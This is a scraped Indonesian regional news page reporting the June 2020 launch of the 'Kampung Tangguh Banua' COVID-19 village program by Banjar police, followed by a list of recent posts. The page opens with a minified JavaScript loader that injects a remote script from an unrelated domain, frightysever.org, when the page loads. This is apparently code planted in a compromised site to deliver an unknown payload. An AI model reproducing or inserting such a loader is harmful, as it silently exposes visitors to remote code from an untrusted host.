(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Siap Lawan Covid-19, 14 Desa di Kabupaten Banjar Percontohan Kampung Tangguh Banua Â


KANALKALIMANTAN.COM, MARTAPURA – Guna memutus mata rantai Covid-19 dari tingkat yang paling bawah di Kabupaten Banjar. Polres Banjar melaunching program Kampung Tangguh Banua (Bersih, Aman, Nyaman, Unggul dan Sejahtera) di 14 desa yang ada di Kabupaten Banjar. kegiatan ini dilaksanakan secara simbolis di kantor Desa Kertak Hanyar, Kabupaten Banjar, Selasa (16/6/2020) pagi.

Kapolres Banjar AKBP Andri Koko Prabowo secara resmi membuka acara yang dihadiri Sekretaris Daerah (Sekda) Kabupaten Banjar HM Hilman, Dandim 1006/Martapura, Letkol Arm Siswo Budiarto, dan Kepala Pelaksana Harian BPBD Banjar, H Irwan Kumar.

Sekda Banjar HM Hilman mewakili Bupati Banjar mengatakan sangat menyambut baik dilaksanakannya launching Kampung Tangguh Banua (KTB) di Kabupaten Banjar.

“Kampung Tangguh Banua ini sebagai kampung percontohan untuk menggerakkan dan menyadarkan masyarakat dalam memerangi, menanggulangi dan memutus mata rantai penyebaran Covid-19,” ujarnya.

Diharapkan dengan adanya Kampung Tangguh ini mampu meningkatkan kesadaran masyarakat untuk peduli berperan aktif menjaga wilayahnya dari ancaman Covid-19, disiplin menjalankan protokol Kesehatan dan bisa menjadi contoh bagi desa-desa lainnya.

Sementara itu, Kapolres Banjar AKBP Andri Koko Prabowo mengatakan, Polres Banjar berinisiatif membentuk Kampung Tangguh Banua dalam mencegah penyebaran Covid-19 dari tingkat paling bawah agar masyarakat dapat mempunyai kemampuan dan kemandirian untuk menyelesaikan permasalahan yang ada di wilayahnya khususnya dalam menanggulangi penyebaran Covid-19.

“Peran Babinsa dan Babinkantibmas sangat penting di Kampung Tangguh ini, selain kerja sama dengan relawan serta perangkat desa dalam pemutusan mata rantai Covid -19 juga prinsip gotong royong sangat diperlukan disini selain tentunya mematuhi protokol kesehatan,” ucapnya. (kanalkalimantan.com/bie/adv)

Reporter : bie
Editor : kk

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.